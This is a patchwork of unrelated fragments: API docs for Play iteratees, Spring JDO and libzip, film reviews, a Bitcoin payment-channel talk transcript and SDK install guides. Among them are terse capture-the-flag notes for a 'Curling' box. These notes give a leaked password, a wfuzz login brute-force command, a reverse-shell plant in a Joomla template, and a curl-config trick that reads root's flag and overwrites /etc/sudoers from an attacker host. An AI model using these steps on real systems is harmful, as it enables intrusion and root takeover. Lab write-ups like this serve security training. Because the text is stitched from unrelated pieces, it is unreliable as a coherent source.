flatten a scala.concurrent.Future of play.api.libs.iteratee.Iteratee] into an Iteratee
flatten a scala.concurrent.Future of play.api.libs.iteratee.Iteratee] into an Iteratee
a promise of iteratee
Create an play.api.libs.iteratee.Iteratee which folds the content of the Input using a given function and an initial state
Create an play.api.libs.iteratee.Iteratee which folds the content of the Input using a given function and an initial state
Example:
// Count the number of input elements def count[E]: Iteratee[E, Int] = Iteratee.fold(0)((c, _) => c + 1)
initial state
a function folding the previous state and an input to a new state
Create an play.api.libs.iteratee.Iteratee which folds the content of the Input using a given function and an initial state
Create an play.api.libs.iteratee.Iteratee which folds the content of the Input using a given function and an initial state
It also gives the opportunity to return a scala.concurrent.Future so that promises are combined in a complete reactive flow of logic.
initial state
a function folding the previous state and an input to a new promise of state
Create an play.api.libs.iteratee.Iteratee which folds the content of the Input using a given function and an initial state
Create an play.api.libs.iteratee.Iteratee which folds the content of the Input using a given function and an initial state
M stands for Monadic which in this case means returning a scala.concurrent.Future for the function argument f, so that promises are combined in a complete reactive flow of logic.
initial state
a function folding the previous state and an input to a new promise of state
the function that should be executed for every chunk
an play.api.libs.iteratee.Iteratee which executes a provided function for every chunk. Returns Done on EOF.
Example:
// Get all chunks of input def printChunks: Iteratee[String, Unit] = Iteratee.foreach[String]( s => println(s) )
Consume all the chunks from the stream, and return a list.
Create an iteratee that takes the first element of the stream, if one occurs before EOF
an play.api.libs.iteratee.Iteratee which just ignores its input
an iteratee used repeatedly to compute a sequence of results
an play.api.libs.iteratee.Iteratee which pushes the input into the provided play.api.libs.iteratee.Iteratee, starting over again each time it terminates until an EOF is received, collecting a sequence of results of the different use of the iteratee
Ignore all the input of the stream, and return done when EOF is encountered.
Various helper methods to construct, compose and traverse Iteratees.


{@Usage}
Star Wars dice have themes they can use individually.
May speed up rendering.Recommend off for chroma keying.
Can cause lag on older browsers or systems.


Interface vfsStreamContent
Interface for stream contents.
Direct known implementers
org\bovigo\vfs\vfsStreamAbstractContentIndirect known implementers
org\bovigo\vfs\TestvfsStreamAbstractContent, org\bovigo\vfs\vfsStreamDirectory, org\bovigo\vfs\vfsStreamFile
Namespace: org\bovigo\vfs
Located at vendor/mikey179/vfsStream/src/main/php/org/bovigo/vfs/vfsStreamContent.php
Located at vendor/mikey179/vfsStream/src/main/php/org/bovigo/vfs/vfsStreamContent.php
public
string
|
|
public
|
|
public
boolean
|
|
public
integer
|
|
public
integer
|
|
public
|
|
public
integer
|
|
public
|
|
public
|
|
public
integer
|
|
public
boolean
|
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public
boolean
|
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public
boolean
|
|
public
|
|
public
boolean
|
|
public
integer
|
|
public
|
|
public
boolean
|
|
public
integer
|
integer |
TYPE_FILE
stream content type: file |
#
0100000
|
integer |
TYPE_DIR
stream content type: directory |
#
0040000
|


//likelihood defaults to Gaussian
likelihood = likelihoods.Gaussian(Y,normalize=normalize_Y)
sparse_GP.__init__(self, X, likelihood, kernel, Z, normalize_X=normalize_X)
//likelihood defaults to Gaussian
likelihood = likelihoods.Gaussian(Y,normalize=normalize_Y)
super(sparse_GP_regression, self).__init__(self, X, likelihood, kernel, Z, normalize_X=normalize_X)
self._set_params(self._get_params())


The rotation (ROT) cipher is a simple character substitution based on a shift/rotation of N letters in the alphabet. E.g. one letter is replaced by another.


In source code, we see: secret.txt, which contains some encoded(?) data
It's base64...gives us: Curling2018!
See authors: floris
wfuzz it: wfuzz --hl 114 -w cewl.out -d 'username=FUZZ&password=Curling2018%21&option=com_login&task=login&return=<random_numbers_here>=1' -c -b '<num>; <num>' -p <IP_ADDRESS>:8080 http://<IP_ADDRESS>/administrator/index.php
Notice that responses have a CSRF token that we'll need to grab along with cookie data
Floris:Curling2018!
Upload/Edit reverse shell on an in-use page ('protostar' template is in-use)
See /home/floris, password_backup
Looks like it could be hex: xxd -r password_backup > out
file out: bzip2
bzcat out > out1
file out1: gzip
zcat out1 > out2
file out2: bzip2
bzcat out2 > out3
file out3: POSIX tar archive
tar -xf out3 > out4
password.txt
Now we have Floris' password. Can su or ssh as Floris
input_file will read a url as the root user and put it in report
local files: url = "file:///root/flag.txt"
Read the crontab: curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
Overwrite files:
url = "http://attacker/sudoers"
output = "/etc/sudoers"
Ensure the attacker sudoers file has
floris ALL=(ALL:ALL) ALL
[pspy]() | process spy, python program. much more detailed than procmon.sh


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public interface JdoDialect
SPI strategy that allows for customizing integration with a specific JDO provider, in particular regarding transaction management and exception translation. To be implemented for specific JDO providers such as JPOX, Kodo, Lido, Versant Open Access.
JDO 2.0 defines standard ways for most of the functionality covered here.
Hence, Spring's DefaultJdoDialect
uses the corresponding JDO 2.0 methods
by default, to be overridden in a vendor-specific fashion if necessary.
Vendor-specific subclasses of DefaultJdoDialect
are still required for special
transaction semantics and more sophisticated exception translation (if needed).
In general, it is recommended to derive from DefaultJdoDialect
instead
of implementing this interface directly. This allows for inheriting common
behavior (present and future) from DefaultJdoDialect
, only overriding
specific hooks to plug in concrete vendor-specific behavior.
JdoTransactionManager.setJdoDialect(org.springframework.orm.jdo.JdoDialect)
,
JdoAccessor.setJdoDialect(org.springframework.orm.jdo.JdoDialect)
,
DefaultJdoDialect
| Method Summary | |
|---|---|
void |
applyQueryTimeout(javax.jdo.Query query,
int timeout)
Apply the given timeout to the given JDO query object. |
Object |
beginTransaction(javax.jdo.Transaction transaction,
TransactionDefinition definition)
Begin the given JDO transaction, applying the semantics specified by the given Spring transaction definition (in particular, an isolation level and a timeout). |
void |
cleanupTransaction(Object transactionData)
Clean up the transaction via the given transaction data. |
ConnectionHandle |
getJdbcConnection(javax.jdo.PersistenceManager pm,
boolean readOnly)
Retrieve the JDBC Connection that the given JDO PersistenceManager uses underneath, if accessing a relational database. |
void |
releaseJdbcConnection(ConnectionHandle conHandle,
javax.jdo.PersistenceManager pm)
Release the given JDBC Connection, which has originally been retrieved via getJdbcConnection . |
DataAccessException |
translateException(javax.jdo.JDOException ex)
Translate the given JDOException to a corresponding exception from Spring's generic DataAccessException hierarchy. |
| Method Detail |
|---|
Object beginTransaction(javax.jdo.Transaction transaction, TransactionDefinition definition) throws javax.jdo.JDOException, SQLException, TransactionException
An implementation can configure the JDO Transaction object and then
invoke begin
, or invoke a special begin method that takes,
for example, an isolation level.
An implementation can also apply read-only flag and isolation level to the
underlying JDBC Connection before beginning the transaction. In that case,
a transaction data object can be returned that holds the previous isolation
level (and possibly other data), to be reset in cleanupTransaction
.
Implementations can also use the Spring transaction name, as exposed by the passed-in TransactionDefinition, to optimize for specific data access use cases (effectively using the current transaction name as use case identifier).
transaction
- the JDO transaction to begindefinition
- the Spring transaction definition that defines semantics
javax.jdo.JDOException
- if thrown by JDO methods
SQLException
- if thrown by JDBC methods
TransactionException
- in case of invalid argumentscleanupTransaction(java.lang.Object)
,
Transaction.begin()
,
DataSourceUtils.prepareConnectionForTransaction(java.sql.Connection, org.springframework.transaction.TransactionDefinition)
void cleanupTransaction(Object transactionData)
An implementation can, for example, reset read-only flag and isolation level of the underlying JDBC Connection. Furthermore, an exposed data access use case can be reset here.
transactionData
- arbitrary object that holds transaction data, if any
(as returned by beginTransaction)beginTransaction(javax.jdo.Transaction, org.springframework.transaction.TransactionDefinition)
,
DataSourceUtils.resetConnectionAfterTransaction(java.sql.Connection, java.lang.Integer)
ConnectionHandle getJdbcConnection(javax.jdo.PersistenceManager pm, boolean readOnly) throws javax.jdo.JDOException, SQLException
releaseJdbcConnection
method when not needed anymore.
Implementations are encouraged to return an unwrapped Connection object, i.e. the Connection as they got it from the connection pool. This makes it easier for application code to get at the underlying native JDBC Connection, like an OracleConnection, which is sometimes necessary for LOB handling etc. We assume that calling code knows how to properly handle the returned Connection object.
In a simple case where the returned Connection will be auto-closed with the
PersistenceManager or can be released via the Connection object itself, an
implementation can return a SimpleConnectionHandle that just contains the
Connection. If some other object is needed in releaseJdbcConnection
,
an implementation should use a special handle that references that other object.
pm
- the current JDO PersistenceManagerreadOnly
- whether the Connection is only needed for read-only purposes
releaseJdbcConnection
, or null
if no JDBC Connection can be retrieved
javax.jdo.JDOException
- if thrown by JDO methods
SQLException
- if thrown by JDBC methodsreleaseJdbcConnection(org.springframework.jdbc.datasource.ConnectionHandle, javax.jdo.PersistenceManager)
,
ConnectionHandle.getConnection()
,
SimpleConnectionHandle
,
JdoTransactionManager.setDataSource(javax.sql.DataSource)
,
NativeJdbcExtractor
void releaseJdbcConnection(ConnectionHandle conHandle, javax.jdo.PersistenceManager pm) throws javax.jdo.JDOException, SQLException
getJdbcConnection
. This should be invoked in any case,
to allow for proper release of the retrieved Connection handle.
An implementation might simply do nothing, if the Connection returned
by getJdbcConnection
will be implicitly closed when the JDO
transaction completes or when the PersistenceManager is closed.
conHandle
- the JDBC Connection handle to releasepm
- the current JDO PersistenceManager
javax.jdo.JDOException
- if thrown by JDO methods
SQLException
- if thrown by JDBC methodsgetJdbcConnection(javax.jdo.PersistenceManager, boolean)
void applyQueryTimeout(javax.jdo.Query query, int timeout) throws javax.jdo.JDOException
Invoked with the remaining time of a specified transaction timeout, if any.
query
- the JDO query object to apply the timeout totimeout
- the timeout value (seconds) to apply
javax.jdo.JDOException
- if thrown by JDO methodsJdoTemplate.prepareQuery(javax.jdo.Query)
DataAccessException translateException(javax.jdo.JDOException ex)
Of particular importance is the correct translation to DataIntegrityViolationException, for example on constraint violation. Unfortunately, standard JDO does not allow for portable detection of this.
Can use a SQLExceptionTranslator for translating underlying SQLExceptions in a database-specific fashion.
ex
- the JDOException thrown
null
)JdoAccessor.convertJdoAccessException(javax.jdo.JDOException)
,
JdoTransactionManager.convertJdoAccessException(javax.jdo.JDOException)
,
PersistenceManagerFactoryUtils.convertJdoAccessException(javax.jdo.JDOException)
,
DataIntegrityViolationException
,
SQLExceptionTranslator
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The biggest scoreline in the history of the FIFA World Cup qualifiers - and indeed in the history of international football - was recorded on 11 April 2001, when Australia beat American Samoa 31-0.
This legendary match also brought global renown for Archie Thompson, whose 13-goal haul set a new world record, which stands to this day, for an individual player in a single international match.
And though the default earned American Samoa ignominy, so inspiring has their subsequent recovery been that it is now the subject of an acclaimed documentary, ' Next Goal Wins', showing across the world.


Panos Astithas / @pastith
<canvas>
<video>
Demo ▶
Test layout behavior in different screen sizes
Debug issues related to APIs unavailable on desktop
Diagnose problems that only manifest themselves in the real thing


{{c.name}}
- Total Properties
{{c.properties.length}}
- Total Original Cost
{{c.totalOriginalCost | noFractionCurrency}}
- Total Estimated Current Value
{{c.totalEstimatedCurrentValue | noFractionCurrency}}
- Total Increase in Equity
{{c.totalIncreaseInEquity | noFractionCurrency}}


黒の手番です。64 はどう動かしますか？


Atomic Multi Channel Updates
Transcript By: Bryan Bishop
Tags: Consensus
Category: Conference
Atomic multi-channel updates with constant collateral in bitcoin-compatible payment-channel networks
Pedro Moreno-Sanchez
paper: https://eprint.iacr.org/2019/583
https://twitter.com/kanzure/status/1172102203995283456
Introduction
Thank you for coming to my talk after lunch. This talk today is about atomic multi-channel updates with constant collateral in bitcoin-compatible payment-channel networks. It’s a long title, but I hope you will understand. This is collaborative work with my colleagues.
Scalability
We’re at Scaling Bitcoin so you’re probably not suprised that I think bitcoin has scaling issues. It’s a decentralized data structure called blockchain where we store every transaction that happens. Visa has a higher transaction rate and yet uses an entirely different system so this indicates that bitcoin is broken.
There are various solutions proposed such as on-chain consensus tweaks, DAGs, sharding, off-chain, payment channels, lightning network, bolt, perun, liquidity network, raiden network, etc.
Background on payment channels
I am pretty sure that you’re all familiar with payment channels, but I am going to describe them again anyway. This is based on a commitment transaction that is funded only after the rest of the transaction tree is pre-signed. Once the channel is open, Alice can now pay Bob. This allows payments over the channel.
Payment channel networks (PCNs)
Since you can’t open channels with everyone, the alternative is to use a payment channel network where payments are routed between different payment channels using a multi-hop protocol. To prevent fraud between the source and the destination, there are some mechanisms to enforce a timeout or justice transactions. Also, fees are paid to routing nodes on the payment channel network
Hash timelock contracts (HTLCs) for multi-hop payments
A hashed timelock contract is used to enforce that a transaction is valid only once the middle nodes learn certain information that only occurs in the event that the payment has been correctly routed. A timeout mechanism is used so that after some amount of time, the middle nodes and all other participants are able to reset the state to recover from the failed payment attempt. Bob can only spend the coins if he learns the preimage to the hash function. This is the only cryptography we need for a multi-hop payment network. All of the coins in the route path are locked up for some time period. The timelock on one side needs to be shorter than the timelocks on the other side. You have to make sure there is enough time to claim the coins before they expire under the assumption of a failure. The more hops we have, the longer the timelocks need to start with.
Security and privacy issues in existing payment channel networks
There’s some security and privacy problems in HTLC-based payment channel networks.
Expressiveness and collateral management in payment channel networks
There are two open challenges. One is that in the current PCNs, we have restricted expressiveness and functionality. Current bitcoin-compatible PCNs restricted to single path-based payments. Also, current PCNs require high collateral meaning that coins need to be locked for a long time.
What we want here is to improve expressiveness beyond paths. Atomic multi-path payments are a first step towards expressiveness beyond single path-based payments. We would like to achieve full expressiveness, in other words we want to support arbitrary paths with any number of senders, any number of receivers. This allows new applications like crowdfunding, channel rebalancing, netting, and other applications.
The second goal is to improve how the collateral is actually managed in PCNs. Each payment of k coins along a n-channel path requires locking coins at each hop. Also, each user has to lock her coins for a time lock where the delta is the time to safely close a channel. This means that coins can be locked for a very long time. There’s too much timelocking of coins here. The timelock value depends on the position along the path.
Griefing attack
This opens the network to some problems, including a griefing attack. The attacker can create a payment that pays to himself. The adversary is able to lock up coins among the path nodes. He is able to lock up coins in n-2 channels from honest users. He only locks in one channel for a certain amount, but he has an amplification effect including a time amplification factor. Also, the attacker can use several paths.
Goal: Constant collateral
Our goal is that the time that how long coins are locked at each channel should not be dependent on the position, but it should be a constant number, and it should not be dependent on where you are in the path between the sender and the receiver. This reduces the amplification factor of the griefing attack.
This is feasible in ethereum-based PCNs like Sprites (“Sprites and state channels: payment networks that go faster than lightning”). They conjectured in that paper that it was not possible for bitcoin. They suggested that bitcoin would require modifications, like “constant collateral would be burned”.
The main result of our work is atomic multi-channel updates where we show it is possible to have a constant collateral factor, and it’s possible with current bitcoin script. We don’t need to add any opcodes or additional operation to bitcoin.
Atomic multi-channel updates (ACMU)
I’ll give an example of a payment between two users. Alice has a channel with Bob. She wants to transfer 8 coins (out of the 10 she has). Bob wants to transfer 7 of the coins he has, out of 30, with Carol. First, there is a setup phase between Alice and Bob. Later, there is a setup phase between Bob and Carol. Alice and Bob split their money into two separate multisig contracts. One is the amount that they want to involve in this protocol, and the other is the amount they want to keep.
Next, phase 2 is where they make a lock for Alice and Bob where if something goes wrong the users are able to get their money back. They take the money they locked here, and they spend it to another account that belongs to them, but with a timelock. Now we have time delta to perform whatever protocol we want, and if something goes wrong, then at time delta then they would be able to get their money back. Now that they are happy and they know they can get their money back, they enter the third step.
The third phase is consume, which is where they send the … to spend you need money in a fresh account, which does not have any money yet, this is key towards atomicity. These are the coins used to pay to the receiver, in this case Bob. They don’t have the money yet, and it can’t be put in the blockchain yet. This is the key towards atomicity. After this, every channel has a transaction that spends from the funded address to the next hop (in this case Bob).
The last step is to fund these addresses, atomically. We have to make sure that all of these addresses get money at the same time, or none of them get money at the same time. Phase 4 is where each pair takes the channel which was part of the game, and they fund all of these fresh addresses at the same time with a multi-output transaction.
You can see there’s two possible states in the channel now. One is the setup plus a lock. The other is setup transaction, enable transaction, and consume transaction. We have to make sure that only one of the two can be enforced. What we do is to make sure that these can be … some time in the future. For that, we do a transaction that basically takes the money of the …. This is a phase 5 transaction called disable. It sends the coins back to the users themselves. We can revoke the enable transaction and send the money back to fresh addresses or the channel between Alice and Bob.
Security and privacy analysis
AMCU achieves atomicity. In particular, if the coins at one channel are ready to be sent to expected receiver, then all channels ready to forward payments. Otherwise, coins remain at a channel owned by original owners.
AMCU does not achieve relationship anonymity. Every user in the path collaborates with each other.
Instead, it is constant collateral (coins locked constant time), it’s backwards compatible with current bitcoin scripting language, and it has accountability where it is possible to show a proof of misbehavior.


40TH MELBOURNE INTERNATIONAL FILM FESTIVAL Film reviews by Marcus Brazil Copyright 1991 Marcus Brazil
This is a brief review of some of the films featured at this year's Melbourne film festival. I have followed my comments on each of the feature films with a rating out of 10. The ratings are only meant to give a comparative guide to my estimation of the quality of the various films, and should, like all ratings, be taken with a grain of salt. The festival also has a tradition of showing a large number of short films, and I have included some comments on the best of these at the end.
THE FIELD (Ireland). D: Jim Sheridan. Richard Harris, John Hurt, Tom Berenger.
This new film from the director of MY LEFT FOOT is a dramatic tragedy based on a play by John Keane. It concerns the bitter struggle of a tenant farmer faced with the loss of his land. The film contains much to admire: it explores powerful themes to do with tradition and birthright, and is impressively photographed. But it suffers from being too close to its stage origins; many of the scenes are self-consciously theatrical in a way that works against the film's cinematic naturalism. The almost melodramatic tragic ending to the film feels like a poor man's KING LEAR. The acting is generally good apart from a flat and characterless performance from Tom Berenger as the American. Rating: 6.
FIVE FEMINIST MINUTES (Canada). D: Various.
To celebrate its 15th anniversary, the women's film unit Studio D commissioned 16 short 5 to 10 minute films from female film makers. The result is this wonderfully varied compilation film showing the breadth of feminist experience and film-making techniques. These short films cover almost every genre and some are very good indeed. Highlights include: "No Choice," a confronting documentary about poverty; "The Escapades of One Particular Mr. Noodle," amusing, tongue-in-cheek autobiography; "Family Secrets," a subtle film about incest and the traps of memory; "New Shoes," an amazing true account of an attempted murder/suicide; and "We're Talking Vulva," a hilarious all-singing vagina! Rating: 7.
HALFAOUINE - CHILD OF THE TERRACES (France/Tunisia). D: Ferid Boughedir. Selim Boughedir, Mustapha Adouani, Rabia Ben Abdallah.
It is surprising to see a film set in an Arab city presenting such a frank and relaxed view of female sexuality as found in this film. The film is about a 12-year-old boy caught between two worlds, the world of women, who look after the young children and act in a fairly uninhibited way around them, and the far more repressive world of men, which he must soon join. A warm and spirited film, which is also pleasantly erotic. Rating: 7.
LIFE IS SWEET (U.K.). D: Mike Leigh. Alison Steadman, Jim Broadbent, Timothy Spall.
A wonderful domestic comedy/drama, every bit as good as his previous film, HIGH HOPES. Leigh affectionately, but unsentimentally, dissects the social dynamics of a lower middle class British family, undergoing fairly ordinary everyday family traumas. This include getting involved in their appalling friend Aubrey's latest project, the opening of a French restaurant called "The Regret Rien." Leigh's skill lies in being able to make the banalities of life seem intriguing and fresh. He achieves this through careful observation, warm humour, and the creation of convincing, interesting characters. The ensemble acting is first class. A delightful film. Rating: 9.
MARCH COMES IN LIKE A LION (Japan). D: Hitoshi Yazaki. Yoshiko Yuro, Bank-ho Cho, Koen Okumura.
This film begins with an interesting premise. A young man loses his memory. A woman, who is in reality his sister, takes him home, claiming to be his lover. They live together as lovers, but then his memory begins to return.... Although this seems to be a situation full of dramatic possibilities, Yazaki seems more interested in a poetic, contemplative cinema that deliberately avoids narrative drama and tension. The film has very little dialogue and long takes in which almost nothing usually seems to happen. The ending of the film seems to mix reality and fantasy in an ambiguous way. I found this a bizarre and rather unsatisfying film. It may well rely on an intimate understanding of Japanese culture to appreciate. Rating: 4.
PARIS IS BURNING (U.S.A.). D: Jennie Livingston.
Glimpses of unusual cultures are always interesting.  This is a world with its own perspective on the "normal" white society, and its own customs and jargon. The film is carefully structured around the vocabulary and customs of this subculture, which give us a clear insight into how these people cope with their marginalised position in the wider society. A fascinating documentary on an unusual subject. Rating: 7.
POISON (U.S.A.). D: Todd Haynes. Edith Meeks, Larry Maxwell, Scott Renderer.
One of the pleasures of film festivals is seeing exciting independent films such as this one which experiment with and push beyond the normal conventions of mainstream film. POISON is in fact three films in one, each in completely different styles: one a mock documentary about a mysterious boy who kills his father then flies away, the second a beautifully done parody of a 50's B-grade horror film about a scientist who creates and becomes infected by a revolting disease, and the third an intense homo-erotic drama set in a male prison. The film constantly intercuts between these three stories, challenging the audience to interpret the way their themes resonate against one another. Watching this film is an intellectually exhausting and rather harrowing experience, but also a highly pleasurable one for those who enjoy adventurous cinema. Rating: 8.
PROOF (Australia). D: Jocelyn Moorhouse. Hugo Weaving, Genevieve Picot, Russell Crowe.
This was my favourite film of the festival, an intriguing, electrifying film about a blind man who is also a photographer. The film explores the three-way relationship between the blind man Martin, his friend Andy, and his housekeeper Celia. Obsession is one of the films major themes, with Celia being romantically obsessed with Martin, and the Martin being obsessed with truth, his photographs being a way of proving to himself that the outside world is as others describe it. This is a beautiful, thought-provoking film with moments of marvelous humour. It caused quite a stir at Cannes, and will have world-wide distribution. Definitely one to see. (The film also won the festival audience poll for best feature.) Rating: 9.
RESIDENT ALIEN (U.S.A.). D: Jonathan Nossiter. Quentin Crisp, John Hurt, Sting.
Although it's rather too long, and needs to be more tightly edited, this is nevertheless a lively and engaging documentary on the author/personality Quentin Crisp in New York. The film focuses not only on the camp, flamboyant and mannered Crisp, whose persona appears to be almost entirely a public one, but also on the attention-seekers who surround him each vying for their fifteen minutes of fame. The showmanship and superficiality of much of New York society is nicely captured in this film. Rating: 7.
RUBY AND RATA (New Zealand). D: Gaylene Preston. Yvonne Lawley, Vanessa Rare, Lee Bete-Kingi.
This is a delightful and sharply comic film about the relationship between an extremely stubborn elderly woman and her equally fiercely independent young female tenant. Both resort to various schemes and deceptions to try to gain dominance over the other in a series of confrontations in which sparks really fly, but gradually a reluctant mutual respect begins to emerge. This is a theme that has been echoed in a number of recent films (such as "Driving Miss Daisy" and especially "Tatie Danielle" [Aunt Danielle]) but here it is explored without a hint of sentimentality. The film is cleverly scripted and features a marvelous central performance from Yvonne Lawley. Rating: 8.
THE STATION (Italy). D: Sergio Rubini. Sergio Rubini, Margherita Buy, Ennio Fantastichini.
This is a film whose theatrical origins don't work against it. It begins as a light comedy-romance as we watch an interesting relationship develop between an upper-class society girl and a rather dull station-master, then gradually changes gears and becomes a tense thriller. Almost all the film is set within the confines of a small country railway station, which helps build up a suitably claustrophobic atmosphere. A good film, strongly directed with a fine sense of timing. Rating: 8.
TRUST (U.S.A.). D: Hal Hartley. Adrienne Shelly, Martin Donovan, Merritt Nelson.
A new film by the director a THE UNBELIEVABLE TRUTH, this is a very black comedy on romantic and family relationships and the games-playing and manipulation that lie behind them. Hartley's direction is tight and his dialogue razor sharp. The story is full of unexpected twists and revelations that keep the audience guessing until the very end. A provocative, potent and very satisfying film. Rating: 8.
TURBULENCE (U.K.) D: Adam Kossoff. Kelly Marcell, Cathy Tyson, Clive Arrindell.
The moral of this film is to beware of "message" movies. This is about a teenage girl being disturbed by memories of incest. Well-meaning, but slow-moving and painfully dreary. Rating: 4.
WAITING (Australia) D: Jackie McKimmie. Noni Hazelhurst, Deborra-Lee Furness, Helen Jones.
WAITING is an ironic comedy that examines issues concerning motherhood, surrogacy, personal privacy and female friendships. At the center of the film is the artist Clare, very pregnant and expecting her baby very soon, around whom her closest friends gather, each of them seeming to have some personal stake in the coming birth. This is a delightful film which skillfully treads a line between caricature and seriousness. It was the closing film of the festival and marked a satisfying end to an extremely successful event. Rating: 8.
_SHORTS_ Of the shorts I saw the most impressive was a British short called "Body Beautiful," a sensitive and sensuous film about the cult of the body in our society and how those with damaged bodies learn to cope. Also enjoyable was a 55-minute Australian film called "The Last Crop," a cheerful adaptation of a short story by Elizabeth Jolley. There were also a number of excellent animated shorts at the festival, the best of which were:
-"Creature Comforts" (U.K.), a hilarious mock documentary interviewing animals at a zoo (winner of an academy award this year);
-"Door" (U.K.), a wonderfully bizarre story about doors and keys featuring an astonishingly inventive mixture of animation techniques.
-"From Flores" (Canada), a moving adaptation of a Canadian short story;
-"At One View" and "A Fortified City" (Netherlands), two very unusual, playful pixilated films about film and film theory.
.....Marcus Brazil..... .
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REVIEW: THE BIG HIT (1998) by Chris Webb copyright 1998 to appear in "The Amherst Student" 5/6/98
Cast: Mark Wahlberg, Lou Diamond Phillips, Christina Applegate, Avery Brooks, China Chow, Antonio Sabato Jr., Elliot Gould, Lainie Kazan, Bokeen Woodbine, Sab Shimono. Directed by Che Kirk Wong. Written by Ben Ramsey.
In 1996, a film called "2 Days in the Valley" made a misguided attempt at becoming the next "Pulp Fiction" by intertwining several lives amid a ring of smalltime crime, examining the inner humanity of the lowlives involed. Essentially, "Pulp Fiction" borrowed this formula from Robert Altman's classic "Short Cuts," but did so successfully. Another copycat has emerged in "The Big Hit," a film so derivative of genres and directing styles, that the real enjoyment is indentifying where you have seen this happen before.
Four idiosyncratic hit men, Melvin Smiley (Mark Wahlberg), Cisco (Lou Diamond Phillips), Crunch (Bokeen Woodbine), and Vinnie (Antonio Sabato Jr.), work for ringleader Paris (Avery Brooks). Unauthorized, they kidnap the college-aged daughter (China Chow) of a failed media mogul (Sab Shimono) looking for quick ransom. A problem arises when the girl, Keiko, turns out to be Paris' goddaughter, angering him. What ensues is a series of double- and triple-crossing that plays out like a bad cartoon.
Sensitive, morally-challenged Melvin is engaged to airhead Pam Schulman (Christina Applegate), whose Jewish parents (Lainie Kazan, Elliot Gould) disapprove of the pairing since Melvin is Catholic. Meanwhile, wild-and-crazy Cisco is caught between his loyalty to his fellow kidnappers and his loyalty to Paris, who asks him to find the culprits. Phillips broods and rants, chewing up scenery, as a villain who defies death about as well as Glenn Close in "Fatal Attraction" or any enemy in the "Scream" series. Woodbine ("The Rock") becomes a sight gag as in each scene he has a different and increasingly bigger hand-strengthening apparatus after denying he enjoys self-pleasure in an opening scene. This is all supposed to be funny stuff.
Rookie writer Ben Ramsey and accalimed director Che Kirk Wong, making his big time American debut, seem to have gained their cinematic eye by watching all the movies they could get their hands on. In one scene, hitmen have come to take out Melvin as he and Pam's family sit down for dinner. As they sit there, guns are pulled under the table, while a drunken Elliot Gould spews insults and his insides across the table. The Gould part of this scene is reminiscent of Oliver Stone in "Natural Born Killers" or "U-Turn." As the tablecloth is pulled off the table, the guns go off in a less-than-spectacular scene that producer John woo could have turned into a masterpiece. The gunfight moves to the kitchen invoking memories of "Grosse Pointe Blank."
Want a search and car chase? Borrow from "Law and Order" or "NYPD Blue." Want to tape up the kidnapped? Watch "Excess Baggage." Hey, what about a slow motion scene of guys walking? Steal from "Reservoir Dogs" which adapted elements from "A Clockwork Orange." Want to turn stuffing a chicken into a romantic encounter? That pottery scene from "Ghost" works. This film touches Scorsese and video from the O.J. Simpson car chase. It borrows from everything, because it wants to be the next "Naked Gun," which is setting its sights far too high.
"The Big Hit" gives us the spectrum of movie stardom. Mark Wahlberg is a nearly established star thanks to "Boogie Nights," but is green enough to make films like this without ruining his potential career. Lou Diamond Phillips and Christina Applegate are in the positions of being typecast as a hothead and airhead respectively, and should aim higher. TV-ready Gould should stick to his sitcom spots on "Friends" and "Getting Personal," while Kazan should book her ticket for a ride on the new "Love Boat." There is always potential for them to return to their heydays (both are past Oscar nominees) with some smarter choices. As Burt Reynolds, Robert Forster, and Pam Grier proved last year, it is never too late to make a comeback. The lucky escapees? Chow and Sabato Jr. Their stars are rising and gain valuable exposure in this high profile film. After all, Wahlberg had his "Fear" and underwear model career before making an A-list name for himself.
If "The Big Hit" is a spoof on every movie ever made, then it is successful in its inclusiveness. The sum of these parts, though, makes a choppy, annoying movie. The only truly funny thing about this film is its ironic title.
My grade: C-
*******chris webb******** *www.amherst.edu/~cjwebb* *************************
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NAME
zip_source_read —
read data from zip
source
LIBRARY
libzip (-lzip)
SYNOPSIS
#include <zip.h>
zip_int64_t
zip_source_read(
zip_source_t
*source,
void *data,
zip_uint64_t len);
DESCRIPTION
The function
zip_source_read() reads up to
len bytes of data from
source at
the current read offset into the buffer
data.
The zip source
source has to be opened for reading by
calling
zip_source_open(3)
first.
RETURN VALUES
Upon successful completion the number of bytes read is returned. Upon reading
end-of-file, zero is returned. Otherwise, -1 is returned and the error
information in
source is set to indicate the error.
SEE ALSO
libzip(3),
zip_source(3),
zip_source_seek(3),
zip_source_tell(3),
zip_source_write(3)
HISTORY
zip_source_read() was added in libzip 1.0.
AUTHORS
Dieter Baron
<
<EMAIL_ADDRESS>and
Thomas Klausner
<
tk@giga.or.at>


2. Installation¶
Prerequisites
C++ compiler, Boost C++ Libraries: specifically boost_python-mt, boost_system-mt (and boost_unit_test_framework-mt if you want to run the unit tests), LAPACK, NumPy, and SciPy
Download either pBEAM.py-0.1.0.tar.gz or pBEAM.py-0.1.0.zip, and uncompress/unpack it.
Install pBEAM with the following command.
$ python setup.py install
To verify that the installation was successful, run Python from the command line,
$ python
and import the module. If no errors are issued, the installation was successful.
>>> import _pBEAM
pBEAM has a large range of unit tests, but they are only accessible through C++. These tests verify the integrity of the underlying C++ code for development purposes. If you want to run the tests, change the working directory to src/twister/rotorstruc/pBEAM and run
$ make test CXX=g++
where the name of your C++ compiler should be inserted in the place of g++. The script will build the test executable and run all tests. The phrase “No errors detected” signifies that all the tests passed.


Getting Started¶
Installation¶
The Globus SDK requires Python 2.7+ or 3.3+. If a supported version of Python is not already installed on your system, see this Python installation guide .
The simplest way to install the Globus SDK is using the pip
package manager
(https://pypi.python.org/pypi/pip), which is included in most Python
installations:
pip install globus-sdk
This will install the Globus SDK and it’s dependencies.
Bleeding edge versions of the Globus SDK can be installed by checking out the git repository and installing it manually:
git clone https://github.com/globus/globus-sdk-python.git
cd globus-sdk-python
python setup.py install
Basic Usage¶
Most APIs require authentication using an access token, so the first
step to using the SDK is to acquire a token. For development, the
simplest way to get a token is to use the Globus Tokens webapp. Globus Tokens provides you with
tokens for all Globus APIs which are valid for two days, and are tied to
a consent for Globus Tokens
. The appropriate method for obtaining
tokens for a production application depends on the type of application,
and is outside the scope of the SDK documentation (see the REST
documentation at https://docs.globus.org).
The webapp will provide you with instructions to save your tokens to the Globus
SDK config file, at ~/.globus.cfg
.
To use the Transfer API:
from __future__ import print_function # for python 2
from globus_sdk import TransferClient
tc = TransferClient() # uses transfer_token from the config file
# high level interface; provides iterators for list responses
print("My Endpoints:")
for ep in tc.endpoint_search(filter_scope="my-endpoints"):
print(ep["display_name"], ep["id"])


